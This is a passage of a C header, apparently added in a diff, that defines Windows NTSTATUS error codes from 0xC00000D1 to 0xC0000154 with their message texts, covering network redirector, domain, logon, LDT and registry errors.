STATUS_REDIRECTOR_PAUSED +// +// MessageText: +// +// Print or disk redirection is temporarily paused. +// +#define STATUS_REDIRECTOR_PAUSED ((NTSTATUS)0xC00000D1L) + +// +// MessageId: STATUS_NET_WRITE_FAULT +// +// MessageText: +// +// A network data fault occurred. +// +#define STATUS_NET_WRITE_FAULT ((NTSTATUS)0xC00000D2L) + +// +// MessageId: STATUS_PROFILING_AT_LIMIT +// +// MessageText: +// +// The number of active profiling objects is at the maximum and no more may be started. +// +#define STATUS_PROFILING_AT_LIMIT ((NTSTATUS)0xC00000D3L) + +// +// MessageId: STATUS_NOT_SAME_DEVICE +// +// MessageText: +// +// {Incorrect Volume} +// The target file of a rename request is located on a different device than the source of the rename request. +// +#define STATUS_NOT_SAME_DEVICE ((NTSTATUS)0xC00000D4L) + +// +// MessageId: STATUS_FILE_RENAMED +// +// MessageText: +// +// The file specified has been renamed and thus cannot be modified. +// +#define STATUS_FILE_RENAMED ((NTSTATUS)0xC00000D5L) + +// +// MessageId: STATUS_VIRTUAL_CIRCUIT_CLOSED +// +// MessageText: +// +// {Network Request Timeout} +// The session with a remote server has been disconnected because the time-out interval for a request has expired. +// +#define STATUS_VIRTUAL_CIRCUIT_CLOSED ((NTSTATUS)0xC00000D6L) + +// +// MessageId: STATUS_NO_SECURITY_ON_OBJECT +// +// MessageText: +// +// Indicates an attempt was made to operate on the security of an object that does not have security associated with it. +// +#define STATUS_NO_SECURITY_ON_OBJECT ((NTSTATUS)0xC00000D7L) + +// +// MessageId: STATUS_CANT_WAIT +// +// MessageText: +// +// Used to indicate that an operation cannot continue without blocking for I/O. +// +#define STATUS_CANT_WAIT ((NTSTATUS)0xC00000D8L) + +// +// MessageId: STATUS_PIPE_EMPTY +// +// MessageText: +// +// Used to indicate that a read operation was done on an empty pipe. +// +#define STATUS_PIPE_EMPTY ((NTSTATUS)0xC00000D9L) + +// +// MessageId: STATUS_CANT_ACCESS_DOMAIN_INFO +// +// MessageText: +// +// Configuration information could not be read from the domain controller, either because the machine is unavailable, or access has been denied. +// +#define STATUS_CANT_ACCESS_DOMAIN_INFO ((NTSTATUS)0xC00000DAL) + +// +// MessageId: STATUS_CANT_TERMINATE_SELF +// +// MessageText: +// +// Indicates that a thread attempted to terminate itself by default (called NtTerminateThread with NULL) and it was the last thread in the current process. +// +#define STATUS_CANT_TERMINATE_SELF ((NTSTATUS)0xC00000DBL) + +// +// MessageId: STATUS_INVALID_SERVER_STATE +// +// MessageText: +// +// Indicates the Sam Server was in the wrong state to perform the desired operation. +// +#define STATUS_INVALID_SERVER_STATE ((NTSTATUS)0xC00000DCL) + +// +// MessageId: STATUS_INVALID_DOMAIN_STATE +// +// MessageText: +// +// Indicates the Domain was in the wrong state to perform the desired operation. +// +#define STATUS_INVALID_DOMAIN_STATE ((NTSTATUS)0xC00000DDL) + +// +// MessageId: STATUS_INVALID_DOMAIN_ROLE +// +// MessageText: +// +// This operation is only allowed for the Primary Domain Controller of the domain. +// +#define STATUS_INVALID_DOMAIN_ROLE ((NTSTATUS)0xC00000DEL) + +// +// MessageId: STATUS_NO_SUCH_DOMAIN +// +// MessageText: +// +// The specified Domain did not exist. +// +#define STATUS_NO_SUCH_DOMAIN ((NTSTATUS)0xC00000DFL) + +// +// MessageId: STATUS_DOMAIN_EXISTS +// +// MessageText: +// +// The specified Domain already exists. +// +#define STATUS_DOMAIN_EXISTS ((NTSTATUS)0xC00000E0L) + +// +// MessageId: STATUS_DOMAIN_LIMIT_EXCEEDED +// +// MessageText: +// +// An attempt was made to exceed the limit on the number of domains per server for this release. +// +#define STATUS_DOMAIN_LIMIT_EXCEEDED ((NTSTATUS)0xC00000E1L) + +// +// MessageId: STATUS_OPLOCK_NOT_GRANTED +// +// MessageText: +// +// Error status returned when oplock request is denied. +// +#define STATUS_OPLOCK_NOT_GRANTED ((NTSTATUS)0xC00000E2L) + +// +// MessageId: STATUS_INVALID_OPLOCK_PROTOCOL +// +// MessageText: +// +// Error status returned when an invalid oplock acknowledgment is received by a file system. +// +#define STATUS_INVALID_OPLOCK_PROTOCOL ((NTSTATUS)0xC00000E3L) + +// +// MessageId: STATUS_INTERNAL_DB_CORRUPTION +// +// MessageText: +// +// This error indicates that the requested operation cannot be completed due to a catastrophic media failure or on-disk data structure corruption. +// +#define STATUS_INTERNAL_DB_CORRUPTION ((NTSTATUS)0xC00000E4L) + +// +// MessageId: STATUS_INTERNAL_ERROR +// +// MessageText: +// +// An internal error occurred. +// +#define STATUS_INTERNAL_ERROR ((NTSTATUS)0xC00000E5L) + +// +// MessageId: STATUS_GENERIC_NOT_MAPPED +// +// MessageText: +// +// Indicates generic access types were contained in an access mask which should already be mapped to non-generic access types. +// +#define STATUS_GENERIC_NOT_MAPPED ((NTSTATUS)0xC00000E6L) + +// +// MessageId: STATUS_BAD_DESCRIPTOR_FORMAT +// +// MessageText: +// +// Indicates a security descriptor is not in the necessary format (absolute or self-relative). +// +#define STATUS_BAD_DESCRIPTOR_FORMAT ((NTSTATUS)0xC00000E7L) + +// +// Status codes raised by the Cache Manager which must be considered as +// "expected" by its callers. +// +// +// MessageId: STATUS_INVALID_USER_BUFFER +// +// MessageText: +// +// An access to a user buffer failed at an "expected" point in time. +// This code is defined since the caller does not want to accept STATUS_ACCESS_VIOLATION in its filter. +// +#define STATUS_INVALID_USER_BUFFER ((NTSTATUS)0xC00000E8L) + +// +// MessageId: STATUS_UNEXPECTED_IO_ERROR +// +// MessageText: +// +// If an I/O error is returned which is not defined in the standard FsRtl filter, it is converted to the following error which is guaranteed to be in the filter. +// In this case information is lost, however, the filter correctly handles the exception. +// +#define STATUS_UNEXPECTED_IO_ERROR ((NTSTATUS)0xC00000E9L) + +// +// MessageId: STATUS_UNEXPECTED_MM_CREATE_ERR +// +// MessageText: +// +// If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter. +// In this case information is lost, however, the filter correctly handles the exception. +// +#define STATUS_UNEXPECTED_MM_CREATE_ERR ((NTSTATUS)0xC00000EAL) + +// +// MessageId: STATUS_UNEXPECTED_MM_MAP_ERROR +// +// MessageText: +// +// If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter. +// In this case information is lost, however, the filter correctly handles the exception. +// +#define STATUS_UNEXPECTED_MM_MAP_ERROR ((NTSTATUS)0xC00000EBL) + +// +// MessageId: STATUS_UNEXPECTED_MM_EXTEND_ERR +// +// MessageText: +// +// If an MM error is returned which is not defined in the standard FsRtl filter, it is converted to one of the following errors which is guaranteed to be in the filter. +// In this case information is lost, however, the filter correctly handles the exception. +// +#define STATUS_UNEXPECTED_MM_EXTEND_ERR ((NTSTATUS)0xC00000ECL) + +// +// MessageId: STATUS_NOT_LOGON_PROCESS +// +// MessageText: +// +// The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process. +// +#define STATUS_NOT_LOGON_PROCESS ((NTSTATUS)0xC00000EDL) + +// +// MessageId: STATUS_LOGON_SESSION_EXISTS +// +// MessageText: +// +// An attempt has been made to start a new session manager or LSA logon session with an ID that is already in use. +// +#define STATUS_LOGON_SESSION_EXISTS ((NTSTATUS)0xC00000EEL) + +// +// MessageId: STATUS_INVALID_PARAMETER_1 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the first argument. +// +#define STATUS_INVALID_PARAMETER_1 ((NTSTATUS)0xC00000EFL) + +// +// MessageId: STATUS_INVALID_PARAMETER_2 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the second argument. +// +#define STATUS_INVALID_PARAMETER_2 ((NTSTATUS)0xC00000F0L) + +// +// MessageId: STATUS_INVALID_PARAMETER_3 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the third argument. +// +#define STATUS_INVALID_PARAMETER_3 ((NTSTATUS)0xC00000F1L) + +// +// MessageId: STATUS_INVALID_PARAMETER_4 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the fourth argument. +// +#define STATUS_INVALID_PARAMETER_4 ((NTSTATUS)0xC00000F2L) + +// +// MessageId: STATUS_INVALID_PARAMETER_5 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the fifth argument. +// +#define STATUS_INVALID_PARAMETER_5 ((NTSTATUS)0xC00000F3L) + +// +// MessageId: STATUS_INVALID_PARAMETER_6 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the sixth argument. +// +#define STATUS_INVALID_PARAMETER_6 ((NTSTATUS)0xC00000F4L) + +// +// MessageId: STATUS_INVALID_PARAMETER_7 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the seventh argument. +// +#define STATUS_INVALID_PARAMETER_7 ((NTSTATUS)0xC00000F5L) + +// +// MessageId: STATUS_INVALID_PARAMETER_8 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the eighth argument. +// +#define STATUS_INVALID_PARAMETER_8 ((NTSTATUS)0xC00000F6L) + +// +// MessageId: STATUS_INVALID_PARAMETER_9 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the ninth argument. +// +#define STATUS_INVALID_PARAMETER_9 ((NTSTATUS)0xC00000F7L) + +// +// MessageId: STATUS_INVALID_PARAMETER_10 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the tenth argument. +// +#define STATUS_INVALID_PARAMETER_10 ((NTSTATUS)0xC00000F8L) + +// +// MessageId: STATUS_INVALID_PARAMETER_11 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the eleventh argument. +// +#define STATUS_INVALID_PARAMETER_11 ((NTSTATUS)0xC00000F9L) + +// +// MessageId: STATUS_INVALID_PARAMETER_12 +// +// MessageText: +// +// An invalid parameter was passed to a service or function as the twelfth argument. +// +#define STATUS_INVALID_PARAMETER_12 ((NTSTATUS)0xC00000FAL) + +// +// MessageId: STATUS_REDIRECTOR_NOT_STARTED +// +// MessageText: +// +// An attempt was made to access a network file, but the network software was not yet started. +// +#define STATUS_REDIRECTOR_NOT_STARTED ((NTSTATUS)0xC00000FBL) + +// +// MessageId: STATUS_REDIRECTOR_STARTED +// +// MessageText: +// +// An attempt was made to start the redirector, but the redirector has already been started. +// +#define STATUS_REDIRECTOR_STARTED ((NTSTATUS)0xC00000FCL) + +// +// MessageId: STATUS_NO_SUCH_PACKAGE +// +// MessageText: +// +// A specified authentication package is unknown. +// +#define STATUS_NO_SUCH_PACKAGE ((NTSTATUS)0xC00000FEL) + +// +// MessageId: STATUS_BAD_FUNCTION_TABLE +// +// MessageText: +// +// A malformed function table was encountered during an unwind operation. +// +#define STATUS_BAD_FUNCTION_TABLE ((NTSTATUS)0xC00000FFL) + +// +// MessageId: STATUS_VARIABLE_NOT_FOUND +// +// MessageText: +// +// Indicates the specified environment variable name was not found in the specified environment block. +// +#define STATUS_VARIABLE_NOT_FOUND ((NTSTATUS)0xC0000100L) + +// +// MessageId: STATUS_DIRECTORY_NOT_EMPTY +// +// MessageText: +// +// Indicates that the directory trying to be deleted is not empty. +// +#define STATUS_DIRECTORY_NOT_EMPTY ((NTSTATUS)0xC0000101L) + +// +// MessageId: STATUS_FILE_CORRUPT_ERROR +// +// MessageText: +// +// {Corrupt File} +// The file or directory %hs is corrupt and unreadable. +// Please run the Chkdsk utility. +// +#define STATUS_FILE_CORRUPT_ERROR ((NTSTATUS)0xC0000102L) + +// +// MessageId: STATUS_NOT_A_DIRECTORY +// +// MessageText: +// +// A requested opened file is not a directory. +// +#define STATUS_NOT_A_DIRECTORY ((NTSTATUS)0xC0000103L) + +// +// MessageId: STATUS_BAD_LOGON_SESSION_STATE +// +// MessageText: +// +// The logon session is not in a state that is consistent with the requested operation. +// +#define STATUS_BAD_LOGON_SESSION_STATE ((NTSTATUS)0xC0000104L) + +// +// MessageId: STATUS_LOGON_SESSION_COLLISION +// +// MessageText: +// +// An internal LSA error has occurred. An authentication package has requested the creation of a Logon Session but the ID of an already existing Logon Session has been specified. +// +#define STATUS_LOGON_SESSION_COLLISION ((NTSTATUS)0xC0000105L) + +// +// MessageId: STATUS_NAME_TOO_LONG +// +// MessageText: +// +// A specified name string is too long for its intended use. +// +#define STATUS_NAME_TOO_LONG ((NTSTATUS)0xC0000106L) + +// +// MessageId: STATUS_FILES_OPEN +// +// MessageText: +// +// The user attempted to force close the files on a redirected drive, but there were opened files on the drive, and the user did not specify a sufficient level of force. +// +#define STATUS_FILES_OPEN ((NTSTATUS)0xC0000107L) + +// +// MessageId: STATUS_CONNECTION_IN_USE +// +// MessageText: +// +// The user attempted to force close the files on a redirected drive, but there were opened directories on the drive, and the user did not specify a sufficient level of force. +// +#define STATUS_CONNECTION_IN_USE ((NTSTATUS)0xC0000108L) + +// +// MessageId: STATUS_MESSAGE_NOT_FOUND +// +// MessageText: +// +// RtlFindMessage could not locate the requested message ID in the message table resource. +// +#define STATUS_MESSAGE_NOT_FOUND ((NTSTATUS)0xC0000109L) + +// +// MessageId: STATUS_PROCESS_IS_TERMINATING +// +// MessageText: +// +// An attempt was made to duplicate an object handle into or out of an exiting process. +// +#define STATUS_PROCESS_IS_TERMINATING ((NTSTATUS)0xC000010AL) + +// +// MessageId: STATUS_INVALID_LOGON_TYPE +// +// MessageText: +// +// Indicates an invalid value has been provided for the LogonType requested. +// +#define STATUS_INVALID_LOGON_TYPE ((NTSTATUS)0xC000010BL) + +// +// MessageId: STATUS_NO_GUID_TRANSLATION +// +// MessageText: +// +// Indicates that an attempt was made to assign protection to a file system file or directory and one of the SIDs in the security descriptor could not be translated into a GUID that could be stored by the file system. +// This causes the protection attempt to fail, which may cause a file creation attempt to fail. +// +#define STATUS_NO_GUID_TRANSLATION ((NTSTATUS)0xC000010CL) + +// +// MessageId: STATUS_CANNOT_IMPERSONATE +// +// MessageText: +// +// Indicates that an attempt has been made to impersonate via a named pipe that has not yet been read from. +// +#define STATUS_CANNOT_IMPERSONATE ((NTSTATUS)0xC000010DL) + +// +// MessageId: STATUS_IMAGE_ALREADY_LOADED +// +// MessageText: +// +// Indicates that the specified image is already loaded. +// +#define STATUS_IMAGE_ALREADY_LOADED ((NTSTATUS)0xC000010EL) + + +// +// ============================================================ +// NOTE: The following ABIOS error code should be reserved on +// non ABIOS kernel. Eventually, I will remove the ifdef +// ABIOS. +// ============================================================ +// +// +// MessageId: STATUS_ABIOS_NOT_PRESENT +// +// MessageText: +// +// STATUS_ABIOS_NOT_PRESENT +// +#define STATUS_ABIOS_NOT_PRESENT ((NTSTATUS)0xC000010FL) + +// +// MessageId: STATUS_ABIOS_LID_NOT_EXIST +// +// MessageText: +// +// STATUS_ABIOS_LID_NOT_EXIST +// +#define STATUS_ABIOS_LID_NOT_EXIST ((NTSTATUS)0xC0000110L) + +// +// MessageId: STATUS_ABIOS_LID_ALREADY_OWNED +// +// MessageText: +// +// STATUS_ABIOS_LID_ALREADY_OWNED +// +#define STATUS_ABIOS_LID_ALREADY_OWNED ((NTSTATUS)0xC0000111L) + +// +// MessageId: STATUS_ABIOS_NOT_LID_OWNER +// +// MessageText: +// +// STATUS_ABIOS_NOT_LID_OWNER +// +#define STATUS_ABIOS_NOT_LID_OWNER ((NTSTATUS)0xC0000112L) + +// +// MessageId: STATUS_ABIOS_INVALID_COMMAND +// +// MessageText: +// +// STATUS_ABIOS_INVALID_COMMAND +// +#define STATUS_ABIOS_INVALID_COMMAND ((NTSTATUS)0xC0000113L) + +// +// MessageId: STATUS_ABIOS_INVALID_LID +// +// MessageText: +// +// STATUS_ABIOS_INVALID_LID +// +#define STATUS_ABIOS_INVALID_LID ((NTSTATUS)0xC0000114L) + +// +// MessageId: STATUS_ABIOS_SELECTOR_NOT_AVAILABLE +// +// MessageText: +// +// STATUS_ABIOS_SELECTOR_NOT_AVAILABLE +// +#define STATUS_ABIOS_SELECTOR_NOT_AVAILABLE ((NTSTATUS)0xC0000115L) + +// +// MessageId: STATUS_ABIOS_INVALID_SELECTOR +// +// MessageText: +// +// STATUS_ABIOS_INVALID_SELECTOR +// +#define STATUS_ABIOS_INVALID_SELECTOR ((NTSTATUS)0xC0000116L) + +// +// MessageId: STATUS_NO_LDT +// +// MessageText: +// +// Indicates that an attempt was made to change the size of the LDT for a process that has no LDT. +// +#define STATUS_NO_LDT ((NTSTATUS)0xC0000117L) + +// +// MessageId: STATUS_INVALID_LDT_SIZE +// +// MessageText: +// +// Indicates that an attempt was made to grow an LDT by setting its size, or that the size was not an even number of selectors. +// +#define STATUS_INVALID_LDT_SIZE ((NTSTATUS)0xC0000118L) + +// +// MessageId: STATUS_INVALID_LDT_OFFSET +// +// MessageText: +// +// Indicates that the starting value for the LDT information was not an integral multiple of the selector size. +// +#define STATUS_INVALID_LDT_OFFSET ((NTSTATUS)0xC0000119L) + +// +// MessageId: STATUS_INVALID_LDT_DESCRIPTOR +// +// MessageText: +// +// Indicates that the user supplied an invalid descriptor when trying to set up Ldt descriptors. +// +#define STATUS_INVALID_LDT_DESCRIPTOR ((NTSTATUS)0xC000011AL) + +// +// MessageId: STATUS_INVALID_IMAGE_NE_FORMAT +// +// MessageText: +// +// The specified image file did not have the correct format. It appears to be NE format. +// +#define STATUS_INVALID_IMAGE_NE_FORMAT ((NTSTATUS)0xC000011BL) + +// +// MessageId: STATUS_RXACT_INVALID_STATE +// +// MessageText: +// +// Indicates that the transaction state of a registry sub-tree is incompatible with the requested operation. +// For example, a request has been made to start a new transaction with one already in progress, +// or a request has been made to apply a transaction when one is not currently in progress. +// +#define STATUS_RXACT_INVALID_STATE ((NTSTATUS)0xC000011CL) + +// +// MessageId: STATUS_RXACT_COMMIT_FAILURE +// +// MessageText: +// +// Indicates an error has occurred during a registry transaction commit. +// The database has been left in an unknown, but probably inconsistent, state. +// The state of the registry transaction is left as COMMITTING. +// +#define STATUS_RXACT_COMMIT_FAILURE ((NTSTATUS)0xC000011DL) + +// +// MessageId: STATUS_MAPPED_FILE_SIZE_ZERO +// +// MessageText: +// +// An attempt was made to map a file of size zero with the maximum size specified as zero. +// +#define STATUS_MAPPED_FILE_SIZE_ZERO ((NTSTATUS)0xC000011EL) + +// +// MessageId: STATUS_TOO_MANY_OPENED_FILES +// +// MessageText: +// +// Too many files are opened on a remote server. +// This error should only be returned by the Windows redirector on a remote drive. +// +#define STATUS_TOO_MANY_OPENED_FILES ((NTSTATUS)0xC000011FL) + +// +// MessageId: STATUS_CANCELLED +// +// MessageText: +// +// The I/O request was canceled. +// +#define STATUS_CANCELLED ((NTSTATUS)0xC0000120L) + +// +// MessageId: STATUS_CANNOT_DELETE +// +// MessageText: +// +// An attempt has been made to remove a file or directory that cannot be deleted. +// +#define STATUS_CANNOT_DELETE ((NTSTATUS)0xC0000121L) + +// +// MessageId: STATUS_INVALID_COMPUTER_NAME +// +// MessageText: +// +// Indicates a name specified as a remote computer name is syntactically invalid. +// +#define STATUS_INVALID_COMPUTER_NAME ((NTSTATUS)0xC0000122L) + +// +// MessageId: STATUS_FILE_DELETED +// +// MessageText: +// +// An I/O request other than close was performed on a file after it has been deleted, +// which can only happen to a request which did not complete before the last handle was closed via NtClose. +// +#define STATUS_FILE_DELETED ((NTSTATUS)0xC0000123L) + +// +// MessageId: STATUS_SPECIAL_ACCOUNT +// +// MessageText: +// +// Indicates an operation has been attempted on a built-in (special) SAM account which is incompatible with built-in accounts. +// For example, built-in accounts cannot be deleted. +// +#define STATUS_SPECIAL_ACCOUNT ((NTSTATUS)0xC0000124L) + +// +// MessageId: STATUS_SPECIAL_GROUP +// +// MessageText: +// +// The operation requested may not be performed on the specified group because it is a built-in special group. +// +#define STATUS_SPECIAL_GROUP ((NTSTATUS)0xC0000125L) + +// +// MessageId: STATUS_SPECIAL_USER +// +// MessageText: +// +// The operation requested may not be performed on the specified user because it is a built-in special user. +// +#define STATUS_SPECIAL_USER ((NTSTATUS)0xC0000126L) + +// +// MessageId: STATUS_MEMBERS_PRIMARY_GROUP +// +// MessageText: +// +// Indicates a member cannot be removed from a group because the group is currently the member's primary group. +// +#define STATUS_MEMBERS_PRIMARY_GROUP ((NTSTATUS)0xC0000127L) + +// +// MessageId: STATUS_FILE_CLOSED +// +// MessageText: +// +// An I/O request other than close and several other special case operations was attempted using a file object that had already been closed. +// +#define STATUS_FILE_CLOSED ((NTSTATUS)0xC0000128L) + +// +// MessageId: STATUS_TOO_MANY_THREADS +// +// MessageText: +// +// Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads. +// +#define STATUS_TOO_MANY_THREADS ((NTSTATUS)0xC0000129L) + +// +// MessageId: STATUS_THREAD_NOT_IN_PROCESS +// +// MessageText: +// +// An attempt was made to operate on a thread within a specific process, but the thread specified is not in the process specified. +// +#define STATUS_THREAD_NOT_IN_PROCESS ((NTSTATUS)0xC000012AL) + +// +// MessageId: STATUS_TOKEN_ALREADY_IN_USE +// +// MessageText: +// +// An attempt was made to establish a token for use as a primary token but the token is already in use. A token can only be the primary token of one process at a time. +// +#define STATUS_TOKEN_ALREADY_IN_USE ((NTSTATUS)0xC000012BL) + +// +// MessageId: STATUS_PAGEFILE_QUOTA_EXCEEDED +// +// MessageText: +// +// Page file quota was exceeded. +// +#define STATUS_PAGEFILE_QUOTA_EXCEEDED ((NTSTATUS)0xC000012CL) + +// +// MessageId: STATUS_COMMITMENT_LIMIT +// +// MessageText: +// +// {Out of Virtual Memory} +// Your system is low on virtual memory. To ensure that Windows runs properly, increase the size of your virtual memory paging file. For more information, see Help. +// +#define STATUS_COMMITMENT_LIMIT ((NTSTATUS)0xC000012DL) + +// +// MessageId: STATUS_INVALID_IMAGE_LE_FORMAT +// +// MessageText: +// +// The specified image file did not have the correct format, it appears to be LE format. +// +#define STATUS_INVALID_IMAGE_LE_FORMAT ((NTSTATUS)0xC000012EL) + +// +// MessageId: STATUS_INVALID_IMAGE_NOT_MZ +// +// MessageText: +// +// The specified image file did not have the correct format, it did not have an initial MZ. +// +#define STATUS_INVALID_IMAGE_NOT_MZ ((NTSTATUS)0xC000012FL) + +// +// MessageId: STATUS_INVALID_IMAGE_PROTECT +// +// MessageText: +// +// The specified image file did not have the correct format, it did not have a proper e_lfarlc in the MZ header. +// +#define STATUS_INVALID_IMAGE_PROTECT ((NTSTATUS)0xC0000130L) + +// +// MessageId: STATUS_INVALID_IMAGE_WIN_16 +// +// MessageText: +// +// The specified image file did not have the correct format, it appears to be a 16-bit Windows image. +// +#define STATUS_INVALID_IMAGE_WIN_16 ((NTSTATUS)0xC0000131L) + +// +// MessageId: STATUS_LOGON_SERVER_CONFLICT +// +// MessageText: +// +// The Netlogon service cannot start because another Netlogon service running in the domain conflicts with the specified role. +// +#define STATUS_LOGON_SERVER_CONFLICT ((NTSTATUS)0xC0000132L) + +// +// MessageId: STATUS_TIME_DIFFERENCE_AT_DC +// +// MessageText: +// +// The time at the Primary Domain Controller is different than the time at the Backup Domain Controller or member server by too large an amount. +// +#define STATUS_TIME_DIFFERENCE_AT_DC ((NTSTATUS)0xC0000133L) + +// +// MessageId: STATUS_SYNCHRONIZATION_REQUIRED +// +// MessageText: +// +// The SAM database on a Windows Server is significantly out of synchronization with the copy on the Domain Controller. A complete synchronization is required. +// +#define STATUS_SYNCHRONIZATION_REQUIRED ((NTSTATUS)0xC0000134L) + +// +// MessageId: STATUS_OPEN_FAILED +// +// MessageText: +// +// The NtCreateFile API failed. This error should never be returned to an application, it is a place holder for the Windows Lan Manager Redirector to use in its internal error mapping routines. +// +#define STATUS_OPEN_FAILED ((NTSTATUS)0xC0000136L) + +// +// MessageId: STATUS_IO_PRIVILEGE_FAILED +// +// MessageText: +// +// {Privilege Failed} +// The I/O permissions for the process could not be changed. +// +#define STATUS_IO_PRIVILEGE_FAILED ((NTSTATUS)0xC0000137L) + + + +// +// MessageId: STATUS_LOCAL_DISCONNECT +// +// MessageText: +// +// {Virtual Circuit Closed} +// The network transport on your computer has closed a network connection. There may or may not be I/O requests outstanding. +// +#define STATUS_LOCAL_DISCONNECT ((NTSTATUS)0xC000013BL) + +// +// MessageId: STATUS_REMOTE_DISCONNECT +// +// MessageText: +// +// {Virtual Circuit Closed} +// The network transport on a remote computer has closed a network connection. There may or may not be I/O requests outstanding. +// +#define STATUS_REMOTE_DISCONNECT ((NTSTATUS)0xC000013CL) + +// +// MessageId: STATUS_REMOTE_RESOURCES +// +// MessageText: +// +// {Insufficient Resources on Remote Computer} +// The remote computer has insufficient resources to complete the network request. For instance, there may not be enough memory available on the remote computer to carry out the request at this time. +// +#define STATUS_REMOTE_RESOURCES ((NTSTATUS)0xC000013DL) + +// +// MessageId: STATUS_LINK_FAILED +// +// MessageText: +// +// {Virtual Circuit Closed} +// An existing connection (virtual circuit) has been broken at the remote computer. There is probably something wrong with the network software protocol or the network hardware on the remote computer. +// +#define STATUS_LINK_FAILED ((NTSTATUS)0xC000013EL) + +// +// MessageId: STATUS_LINK_TIMEOUT +// +// MessageText: +// +// {Virtual Circuit Closed} +// The network transport on your computer has closed a network connection because it had to wait too long for a response from the remote computer. +// +#define STATUS_LINK_TIMEOUT ((NTSTATUS)0xC000013FL) + +// +// MessageId: STATUS_INVALID_CONNECTION +// +// MessageText: +// +// The connection handle given to the transport was invalid. +// +#define STATUS_INVALID_CONNECTION ((NTSTATUS)0xC0000140L) + +// +// MessageId: STATUS_INVALID_ADDRESS +// +// MessageText: +// +// The address handle given to the transport was invalid. +// +#define STATUS_INVALID_ADDRESS ((NTSTATUS)0xC0000141L) + +// +// MessageId: STATUS_MISSING_SYSTEMFILE +// +// MessageText: +// +// {Missing System File} +// The required system file %hs is bad or missing. +// +#define STATUS_MISSING_SYSTEMFILE ((NTSTATUS)0xC0000143L) + +// +// MessageId: STATUS_UNHANDLED_EXCEPTION +// +// MessageText: +// +// {Application Error} +// The exception %s (0x%08lx) occurred in the application at location 0x%08lx. +// +#define STATUS_UNHANDLED_EXCEPTION ((NTSTATUS)0xC0000144L) + +// +// MessageId: STATUS_APP_INIT_FAILURE +// +// MessageText: +// +// {Application Error} +// The application failed to initialize properly (0x%lx). Click on OK to terminate the application. +// +#define STATUS_APP_INIT_FAILURE ((NTSTATUS)0xC0000145L) + +// +// MessageId: STATUS_PAGEFILE_CREATE_FAILED +// +// MessageText: +// +// {Unable to Create Paging File} +// The creation of the paging file %hs failed (%lx). The requested size was %ld. +// +#define STATUS_PAGEFILE_CREATE_FAILED ((NTSTATUS)0xC0000146L) + +// +// MessageId: STATUS_NO_PAGEFILE +// +// MessageText: +// +// {No Paging File Specified} +// No paging file was specified in the system configuration. +// +#define STATUS_NO_PAGEFILE ((NTSTATUS)0xC0000147L) + +// +// MessageId: STATUS_INVALID_LEVEL +// +// MessageText: +// +// {Incorrect System Call Level} +// An invalid level was passed into the specified system call. +// +#define STATUS_INVALID_LEVEL ((NTSTATUS)0xC0000148L) + +// +// MessageId: STATUS_WRONG_PASSWORD_CORE +// +// MessageText: +// +// {Incorrect Password to LAN Manager Server} +// You specified an incorrect password to a LAN Manager 2.x or MS-NET server. +// +#define STATUS_WRONG_PASSWORD_CORE ((NTSTATUS)0xC0000149L) + +// +// MessageId: STATUS_ILLEGAL_FLOAT_CONTEXT +// +// MessageText: +// +// {EXCEPTION} +// A real-mode application issued a floating-point instruction and floating-point hardware is not present. +// +#define STATUS_ILLEGAL_FLOAT_CONTEXT ((NTSTATUS)0xC000014AL) + +// +// MessageId: STATUS_PIPE_BROKEN +// +// MessageText: +// +// The pipe operation has failed because the other end of the pipe has been closed. +// +#define STATUS_PIPE_BROKEN ((NTSTATUS)0xC000014BL) + +// +// MessageId: STATUS_REGISTRY_CORRUPT +// +// MessageText: +// +// {The Registry Is Corrupt} +// The structure of one of the files that contains Registry data is corrupt, or the image of the file in memory is corrupt, or the file could not be recovered because the alternate copy or log was absent or corrupt. +// +#define STATUS_REGISTRY_CORRUPT ((NTSTATUS)0xC000014CL) + +// +// MessageId: STATUS_REGISTRY_IO_FAILED +// +// MessageText: +// +// An I/O operation initiated by the Registry failed unrecoverably. +// The Registry could not read in, or write out, or flush, one of the files that contain the system's image of the Registry. +// +#define STATUS_REGISTRY_IO_FAILED ((NTSTATUS)0xC000014DL) + +// +// MessageId: STATUS_NO_EVENT_PAIR +// +// MessageText: +// +// An event pair synchronization operation was performed using the thread specific client/server event pair object, but no event pair object was associated with the thread. +// +#define STATUS_NO_EVENT_PAIR ((NTSTATUS)0xC000014EL) + +// +// MessageId: STATUS_UNRECOGNIZED_VOLUME +// +// MessageText: +// +// The volume does not contain a recognized file system. +// Please make sure that all required file system drivers are loaded and that the volume is not corrupt. +// +#define STATUS_UNRECOGNIZED_VOLUME ((NTSTATUS)0xC000014FL) + +// +// MessageId: STATUS_SERIAL_NO_DEVICE_INITED +// +// MessageText: +// +// No serial device was successfully initialized. The serial driver will unload. +// +#define STATUS_SERIAL_NO_DEVICE_INITED ((NTSTATUS)0xC0000150L) + +// +// MessageId: STATUS_NO_SUCH_ALIAS +// +// MessageText: +// +// The specified local group does not exist. +// +#define STATUS_NO_SUCH_ALIAS ((NTSTATUS)0xC0000151L) + +// +// MessageId: STATUS_MEMBER_NOT_IN_ALIAS +// +// MessageText: +// +// The specified account name is not a member of the local group. +// +#define STATUS_MEMBER_NOT_IN_ALIAS ((NTSTATUS)0xC0000152L) + +// +// MessageId: STATUS_MEMBER_IN_ALIAS +// +// MessageText: +// +// The specified account name is already a member of the local group. +// +#define STATUS_MEMBER_IN_ALIAS ((NTSTATUS)0xC0000153L) + +// +// MessageId: STATUS_ALIAS_EXISTS +// +// MessageText: +// +// The specified local group already exists. +// +#define STATUS_ALIAS_EXISTS ((NTSTATUS)0xC0000154L) + +// +// MessageId: STATUS_LOGON_NOT_GRANTED +// +// MessageText: +// +// A requested type of logon (e.g., Interactive, Network, Service) is not granted by the target system's local security policy. +// Please ask the system administrator to grant the necessary form of logon. +// +#define 